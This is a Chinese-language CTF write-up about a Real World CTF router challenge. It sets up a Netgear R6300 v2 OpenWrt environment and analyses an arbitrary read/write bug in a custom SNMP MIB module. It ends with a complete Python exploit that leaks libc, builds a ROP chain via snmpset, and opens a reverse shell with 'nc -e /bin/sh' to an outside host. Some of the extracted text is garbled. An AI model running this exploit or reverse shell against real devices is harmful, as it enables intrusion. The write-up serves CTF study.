Kirin / 2019-04-01 09:41:00 / 浏览数 4022 安全技术 CTF 顶(0) 踩(0)

最近时间比较多,把去年Real World总决赛的路由器重新调了一遍

Score: 500

Demo

There are many ways to manage a router, and I choose SNMP.

NOTE: The target device is inside the cabinet beside your table. The login information is root:rwctf. This weak credential is for debugging only.

Demonstration Requirements:

1. Attack from LAN
2. Get root shell of the router and show it
3. Hijack the domain realworldctf.com to a webpage saying hacked by <your team name>

NOTE: Before you go on the stage, please make sure your debug information will not appear on the screen in case

Building Environment

因为我最后没有拿路由器,所以需要先搭建好整个模拟路由环境启动snmp服务路由器版本:

Netgear R6300 v2 #https://openwrt.org/toh/netgear/netgear_r6300_v2

首先下载openwrt的源码(18.06.1和18.06.2皆可,只是最后EXP中偏移可能不同)配置config:

Target System: BCM47XX/53XX

Target Profile: Netgear R6300 v2

Target Images: squashfs //

而后保存配置并编译

在编译好的文件中找到编译好的文件系统:

ls
bin etc mnt proc root sys usr www
dev lib overlay rom sbin tmp var

有两个思路:

qemu arm arm arm arm chroot

我选择直接在树莓派中搭建环境

(也可以在qemu system mode下的arm虚拟机中启动,后面有说明) 将文件系统整个放入树莓派中(包括比赛的两个ipk包):

而后配置chroot环境:

sudo mount proc chroot_dir/proc -t proc
sudo mount sysfs chroot_dir/sys -t sysfs
cp /etc/hosts chroot_dir/etc/hosts ##########
chroot_dir/etc/resolv.conf: ####DNS##
nameserver 8.8.8.8

开启chroot环境:

```
sudo chroot . ./bin/sh
而后安装比赛的snmp环境:
opkg install ./libnetsnmp_5.8-1_arm_cortex-a9.ipk
opkg install ./snmpd_5.8-1_arm_cortex-a9.ipk
确认snmp服务启动:
路由器环境端:
/ # netstat -anp|grep snmpd
udp 0 0.0.0.0:161
                                     0.0.0.0:*
                                                                      1922/snmpd
        0 0 :::161
                                      :::*
                                                                      1922/snmpd
unix 2 [ ACC ] STREAM LISTENING
                                           18493 1922/snmpd
                                                                   /var/run/agentx.sock
本机端:
kirin@kirin-virtual-machine:~$ snmpwalk -v 1 -c public 192.168.137.33 .1
iso.3.6.1.4.1.2021.13.32.1.0 = INTEGER: 0
iso.3.6.1.4.1.2021.13.32.2.0 = INTEGER: 1996043560
End of MIB
同样得,在qemu system模式下启动的arm虚拟机也可以启动服务:
33
https://people.debian.org/~aurel32/qemu/armhf/
gemu
https://kirin-say.top/2019/02/23/Building-MIPS-Environment-for-Router-PWN/
qemu
sudo qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=dek
Example chroot
Find R/W at Any Address in MIB
在搭建的路由器环境下gdbserver运行snmpd, IDA下动态调试追踪程序流
可以看到snmp服务会先初始化mib, agent等环境:
LOAD:000125B8 BL
                          init_mib_modules
LOAD:000125BC LDR
                         R0, [R10]
LOAD:000125C0 BL
                         init_snmp
LOAD:000125C4 BL
                          init_master_agent
在init_mib_modules中可以看到:
int init_mib_modules()
 int result; // r0
 int v1; // r3
 result = should_init();
 if ( result )
  result = j_init_greatSensors();
 v1 = dword_1102C;
 dword_11028 = 1;
 if ( !dword_1102C )
  dword_1102C = 1;
  result = snmp_register_callback(v1, 2, (int)sub_9D4);
    result = snmp_log(3, "error registering for SHUTDOWN callback for mib modules\n");
 return result;
其会先调用init_greatSensors()注册回调函数:
```

; CODE XREF: j_init_greatSensors+8^j

; DATA XREF: LOAD:000002D8 o ...

LOAD:000008E0 init_greatSensors

LOAD:000008E0 var_70 = -0x70

LOAD:000008E0

```
LOAD:000008E0 var 64
                               = -0 \times 64
LOAD:000008E0 var 60
                                = -0 \times 60
LOAD:000008E0 var_38
                                = -0 \times 38
LOAD: 000008E0
LOAD: 000008E0
                                                R12. = (dword A88 - 0x8FC)
                               LDR
LOAD: 000008E4
                                                SP!, {R4,R5,LR}
                               STMFD
                                                SP. SP. #0x64
LOAD: 000008E8
                               SUB
                                                LR, SP, #0x70+var_60
LOAD: 000008EC
                               ADD
                                                R5, =(_GLOBAL_OFFSET_TABLE_ - 0x90C)
LOAD: 000008F0
                               LDR
                                                R12, PC, R12; dword_A88
LOAD: 000008F4
                               ADD
LOAD: 000008F8
                               MOV
                                                R4. R12
                                                R12, R12, #0x28
LOAD: 000008FC
                               ADD
LOAD: 00000900
                               LDMIA
                                                R4!, {R0-R3}
                                                R5, PC, R5; _GLOBAL_OFFSET_TABLE_
LOAD: 00000904
                               ADD
LOAD: 00000908
                                                LR!, {R0-R3}
                               STMIA
LOAD: 0000090C
                                                R4!, {R0-R3}
                               LDMIA
LOAD: 00000910
                                                LR!, {R0-R3}
                               STMIA
                                                R4, {R0,R1}
LOAD: 00000914
                               LDMIA
LOAD: 00000918
                               MOV
                                                R4, #3
                                                LR, {R0,R1}
LOAD: 0000091C
                               STMIA
                                                LR, SP, #0x70+var_38
LOAD: 00000920
                               ADD
                                                R12!, {R0-R3}
LOAD: 00000924
                               LDMIA
                                                LR!, {R0-R3}
LOAD: 00000928
                               STMIA
                                                R12!, {R0-R3}
LOAD: 0000092C
                               LDMIA
                                                LR!, {R0-R3}
LOAD: 00000930
                               STMIA
                                                R2, SP, #0x70+var_60
LOAD: 00000934
                               ADD
                                                R12, {R0,R1}
LOAD: 00000938
                               LDMIA
                                                R3, = (off_10FFC - 0x10FAC)
LOAD: 0000093C
                               LDR
                                                LR, {R0,R1}
LOAD:00000940
                               STMIA
LOAD:00000944
                               LDR
                                                R0, =(aGreatmiscsenso - 0x958)
LOAD: 00000948
                               LDR
                                                R3, [R5,R3]; handle_greatMiscSensorsDevice
LOAD: 0000094C
                               STR
                                                R4, [SP,#0x70+var 70]
                                                R0, PC, R0; "greatMiscSensorsDevice"
LOAD: 00000950
                               ADD
LOAD: 00000954
                               STR
                                                R3, [SP,#0x70+var 64]
LOAD: 00000958
                               MOV
                                                R3, #0xA
LOAD: 0000095C
                               LDR
                                                R1, [SP,#0x70+var_64]
LOAD: 00000960
                               BL
                                                netsnmp_create_handler_registration
LOAD: 00000964
                               BL
                                                netsnmp_register_scalar
LOAD:00000968
                               LDR
                                                R3, =(off_10FF0 - 0x10FAC)
LOAD:0000096C
                               ADD
                                                R2, SP, #0x70+var_38
LOAD:00000970
                               LDR
                                                R0, =(aGreatmiscsenso_0 - 0x980)
LOAD:00000974
                               LDR
                                                R3, [R5,R3]; handle_greatMiscSensorsIndex
LOAD:00000978
                               ADD
                                                R0, PC, R0; "greatMiscSensorsIndex"
LOAD:0000097C
                               STR
                                                R4, [SP,#0x70+var_70]
LOAD:00000980
                               STR
                                                R3, [SP,#0x70+var_64]
LOAD:00000984
                               MOV
                                                R3, \#0xA
LOAD:00000988
                               LDR
                                                R1, [SP,#0x70+var_64]
LOAD:0000098C
                               _{\mathrm{BL}}
                                                netsnmp_create_handler_registration
LOAD:00000990
                               _{\mathrm{BL}}
                                                netsnmp_register_scalar
LOAD:00000994
                               MOV
                                                R0, #0x78; 'x'; size_t
LOAD:00000998
                               ВL
                                                malloc
LOAD:0000099C
                               LDR
                                                R3, =(vla_str - 0x9AC)
LOAD:00009A0
                               MOV
                                                R2, #0
LOAD:000009A4
                               ADD
                                                R3, PC, R3; vla_str
LOAD:000009A8
                               STR
                                                R0, [R3, #(mib_address - 0x11020)]
LOAD:000009AC
                               STR
                                                R2, [R3]
LOAD:000009B0
                               ADD
                                                SP, SP, #0x64
LOAD:000009B4
                               LDMFD
                                                SP!, {R4,R5,PC}
LOAD:000009B4 ; End of function init_greatSensors
可以看到其注册了两个回调函数, 动态调试下看到注册过程:
int __fastcall sub_76F59344(int a1, int a2, int a3, int a4)
 int v4; // r5@1
 int v5; // r6@1
 int v6; // r7@1
 int v7; // r4@1
```

int v8; // r5@2

```
v4 = a1;
v5 = a3;
v6 = a4;
v7 = ((int (__cdecl *)(int, int, int))unk_76F4D74C)(a1, a2, a3);
if ( v7 )
  v8 = ((int (__fastcall *)(int, int, int, int))unk_76F4C0D8)(v4, v7, v5, v6);
  if (!v8)
    ((void (__fastcall *)(int))unk_76F4C228)(v7);
}
else
  v8 = 0;
}
return v8;
}
首先是写入函数地址:
00024D80 00 00 00 00 00 00 00 00 41 00 00 31 00 00 00 .....A...1...
00024D90 C0 4D 02 00 00 00 00 00 00 00 00 0C D7 F2 76 .M.....v
而后函数名称:
                                                             ..........1....!....
00024DB0 00 00 00 00 00 00 00 31 00 00 00 21 00 00 00
00024DC0 67 72 65 61 74 4D 69 73 63 53 65 6E 73 6F 72 73
                                                             greatMiscSensors
00024DD0 44 65 76 69 63 65 00 00 21 00 00 00 41 00 00 00
                                                             Device..!...A...
而后mib对象对应的OID:
00024E30 44 65 76 69 63 65 00 00 21 00 00 00 31 00 00 00
                                                             Device..!...1...
00024E50 04 00 00 00 01 00 00 00 E5 07 00 00 0D 00 00 00
00024E60 <mark>20</mark> 00 00 00 02 00 00 00 31 00 00 00 90 01 00 00
                                                            •..........
可以看到此OID: 1.3.6.1.4.1.2021.13.32.2.0
当利用snmpset/snmpget对此对象进行读写操作时,会利用netsnmp_call_handler函数处理对象,最终调用对应此OID的回调函数:handle_greatMiscSensorsDevice函
netsnmp_call_handler关键部分:
v10 = (int (__fastcall *)(int *, int, int *, int))v8[3];
if ( !v10 )
     break;
se_find_label_in_slist((int)"agent_mode", *v6);
result = v10(v8, v9, v6, v7);
v12 = v8[2];
同样另一个回调函数handle_greatMiscSensorsIndex对应OID:
76FFF5B0 49 6E 64 65 78 00 00 00 21 00 00 00 41 00 00 00 Index...!...A...
76FFF5C0 01 00 00 00 03 00 00 06 00 00 00 01 00 00 00
76FFF5D0 04 00 00 00 01 00 00 00 E5 07 00 00 0D 00 00 00
76FFF5E0 20 00 00 00 01 00 00 00 00 00 00 11 0A 00 00 ·......
即:1.3.6.1.4.1.2021.13.32.1.0
这时候关注两个回调函数,发现了任意地址读写:
handle_greatMiscSensorsDevice:
int fastcall handle greatMiscSensorsDevice(int al, int a2, signed int *a3, DWORD *a4)
signed int v4; // r4
int result; // r0
int v6; // r0
 int v7; // r3
const char *v8; // r2
int v9; // r1
v4 = *a3;
if ( *a3 == 2 )
  if ( vla_str <= 29 )
    *(_DWORD *)(mib_address + 4 * vla_str) = **(_DWORD **)(*a4 + 16);
    return 0;
  }
LABEL 15:
  netsnmp_set_request_error();
```

```
return 0;
 if ( *a3 > 2 )
 {
  if (v4 > 5)
   {
    if ( v4 != 160 )
     goto LABEL_5;
    v6 = *a4;
    if ( vla_str > 29 )
     {
      v7 = 7;
      v9 = 4;
      v8 = "Go Back";
     }
     else
     {
      v7 = 4;
      v8 = (const char *)(mib_address + 4 * vla_str);
      v9 = 2;
    }
    snmp_set_var_typed_value(v6, v9, (int)v8, v7);
   }
   return 0;
 }
 if ( v4 )
  if ( v4 != 1 )
  {
LABEL_5:
    snmp_log(3, "unknown mode (%d) in handle_greatMiscSensorsDevice\n", *a3);
    return 5;
  return 0;
 result = netsnmp_check_vb_type(*a4, 2);
 if ( result )
  goto LABEL_15;
 return result;
}
handle\_greatMiscSensorsIndex:
int __fastcall handle_greatMiscSensorsIndex(int a1, int a2, signed int *a3, _DWORD *a4)
 signed int v4; // r4
int result; // r0
 v4 = *a3;
 if (*a3 == 2)
  vla_str = **(_DWORD **)(*a4 + 16);
  return 0;
 }
 if ( *a3 > 2 )
 {
  if ( v4 > 5 )
    if ( v4 != 0xA0 )
      goto LABEL_5;
    snmp_set_var_typed_value(*a4, 2, (int)&vla_str, 4);// (netsnmp_variable_list *newvar, u_char type, const void *val_str, s
  }
  return 0;
 }
 if (v4)
  if ( v4 != 1 )
   {
LABEL_5:
```

```
snmp_log(3, "unknown mode (%d) in handle_greatMiscSensorsDevice\n", *a3);
    return 5;
  }
  return 0;
 }
 result = netsnmp_check_vb_type(*a4, 2);
 if ( result )
  netsnmp_set_request_error();
  return 0;
 }
return result;
}
可以看到handle_greatMiscSensorsDevice中:
当使用snmpset写对象时,
#*a3■0■■->0 1 2 3 0 1 2 3.....
 if (*a3 == 2)
  if ( vla_str <= 29 )
     *(_DWORD *)(mib_address + 4 * vla_str) = **(_DWORD **)(*a4 + 16);
    return 0;
  }
mid_address是在snmp服务启动mib初始化时在init_greatSensors中:
result = malloc(0x78u);
mib_address = (int)result;
vla_str = 0;
而val_str在handle_greatMiscSensorsIndex中可以进行设置:
vla_str = **(_DWORD **)(*a4 + 16);
即我们对OID对象1.3.6.1.4.1.2021.13.32.1.0设置的值
所以当我们依次调用handle_greatMiscSensorsIndex进行设置vla_str,此值只需小于29(在这里设置为负数即可),而后调用handle_greatMiscSensorsDevice即可实现任意
任意地址读相同原理, 当snmpget读取对象时, 会调用:
#v8 = (const char *)(mib_address + 4 * vla_str);
######vla_str###29######
snmp_set_var_typed_value(v6, v9, (int)v8, v7)
即会将对象的值设置我们构造地址处的值
而后取出对象value返回给snmpget完成任意地址读
POC
首先需要leak libc
想到注册回调函数位置
利用任意地址读找到注册函数保存地址来leak libc
hex(0x76F5F9F0-0x76F5F40c)=0x5e4
而后再次利用handle来劫持程序流,即netsnmp_call_handler中:
v10 = (int (__fastcall *)(int *, int, int *, int))v8[3];
if ( !v10 )
      break;
se_find_label_in_slist((int) "agent_mode", *v6);
result = v10(v8, v9, v6, v7);
v12 = v8[2];
这时候只需要事先布置好一条ROP链,最后将handle改为我们的rop chain地址即可劫持程序流,最终达到RCE:
ROPgadget --binary ./libc.so
0x000596bc : ldr r3, [pc, #0x3c] ; ldr r2, [pc, #0x3c] ; add r3, pc, r3 ; ldr r0, [pc, r2] ; ldr r3, [r3] ; blx r3
■■■■■■ r3 r2■■■■■ &system function, &shell
```

最终POC:

```
#2222222222
from pwn import *
import sys
import os
#context.log_level="debug"
def read(ip,offset):
  cmdl="snmpset -v 1 -c public %s 1.3.6.1.4.1.2021.13.32.1.0 i %s" %(ip,offset/4)
  cmd2="snmpget -v 1 -c public %s 1.3.6.1.4.1.2021.13.32.2.0" %ip
  os.system(cmd1)
  p2=process(cmd2,shell=True)
  p2.recvuntil("INTEGER: ")
  leak=int(p2.recvuntil("\n").strip())
  p2.close()
  return leak
def write(ip.offset.note):
  cmdl="snmpset -v 1 -c public %s 1.3.6.1.4.1.2021.13.32.1.0 i %s" %(ip,offset/4)
  cmd2="snmpset -v 1 -c public %s 1.3.6.1.4.1.2021.13.32.2.0 i %s" %(ip,note)
  os.system(cmd1)
  sleep(0.5)
  os.system(cmd2)
def get_shell(ip):
  cmd="snmpget -v 1 -c public %s 1.3.6.1.4.1.2021.13.32.1.0" %ip
  os.system(cmd)
if __name__=="__main___":
   ip=sys.argv[1]
   #leak addr
   handle_addr=read(ip,-0x5e4)
   mibso_base=handle_addr-0x818
   libcso_base=handle_addr+0x507e8
   log.info("mibso_base="+hex(mibso_base))
   log.info("libcso_base="+hex(libcso_base))
   system_addr=libcso_base+0x43210
   ropchain_addr=libcso_base+0x596bc
   r3_addr=libcso_base+0x80394
   r2_addr=libcso_base+0x80398
   #build rop chain
   base=mibso_base+0xd29f0
   cmd_addr=libcso_base+0x80420
   write(ip,r3_addr-base,system_addr)
   write(ip,r2_addr-base,cmd_addr)
   cmd="nc -e /bin/sh 192.168.160.131 1234\xspacex00" #the shell you want run in router
   #padding
   cmd+="1"
   time=len(cmd)/4
   cmd=cmd.ljust((time+1)*4,"1")
   for i in range(time):
        \verb|write(ip,cmd_addr+i*4-base,u32(cmd[i*4:i*4+4]))|\\
   write(ip,-0x5e4,ropchain_addr)
   get_shell(ip)
```

Run POC&&Get Shell

python payload.py router_ip

kirin@kirin-virtual-machine:~\$ nc	kirin@kirin-virtual-machine:~\$
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